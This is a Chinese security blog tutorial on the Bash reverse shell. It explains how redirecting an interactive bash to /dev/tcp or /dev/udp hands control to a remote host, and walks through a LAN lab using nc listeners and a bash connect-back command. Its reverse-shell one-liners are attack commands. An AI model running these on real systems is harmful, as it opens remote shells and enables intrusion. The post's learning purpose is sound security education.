Bash反弹shell

一、Bash介绍     

Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell
Bash 反弹Shell的命令如下:
bash -i >&/dev/tcp/攻击机_IP/攻击机端口  0>&1
bash -i >&/dev/tcp/攻击机_IP/攻击机端口  0>&2 
bash -i >&/dev/udp/攻击机_IP/攻击机端口  0>&1 
bash -i >&/dev/udp/攻击机_IP/攻击机端口  0>&2
“bash-i”是指打开一个交互式的Shell。
“&”符号用于区分文件和文件描述符,”>&”符号后面跟文件时,表示将标准输出和标准错误输出重定向至文 件,”>&”符号后面跟数字时表示后面的数字是文件描述符,不加”&”符号则会把后面的数字当成文件。数 字”0″,”1″,”2″是LinuxShell下的文件描述符, “0”是指标准输入重定向, “1”是指标准输出重定向, “2”是指错误输出 重定向。
“/dev”目录下”tcp”和”udp”是Linux中的特殊设备,可用于建立Socket连接,读写这俩文件就相当于是在Socket连 接中传输数据。”>&/dev/tcp/攻击机_ip/攻击机端口”则表示将标准输出和标准错误输出重定向到”/dev/tcp/攻击机 ip/攻击机端口”文件中,也就是重定向到了攻击机,这时目标机的命令执行结果可以从攻击机看 到。”0>&1″或”0>&2″又将标准输入重定向到了标准输出,而标准输出重定向到了攻击机,因此标准输入也就重定 向到了攻击机,从而可以通过攻击机输入命令,并且可以看到命令执行结果输出

二、bash反弹shell

1、实验拓扑

2、主机介绍

机器名称 IP地址 系统版本 备注
内网攻击机 192.168.101.6 windwos
内网靶机 192.168.101.203 Linux

3、实验复现

1. 攻击机器使用nc执行监听命令
nc -lvvp 9999 监听  TCP
nc -lup 9999     监听UDP
2. 内网靶机执行连接命令
bash -i >&/dev/tcp/192.168..101.6/9999 0>&1
3、查看结果
 

文章版权声明 1、本网站名称:Happy峰安全运营之路
2、本站永久网址:https://blog.chenjiangfeng.com
3、本站发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
4、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
5、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
6、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
7、根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途

© 版权声明
THE END
喜欢就支持一下吧
点赞9打赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情图片

    暂无评论内容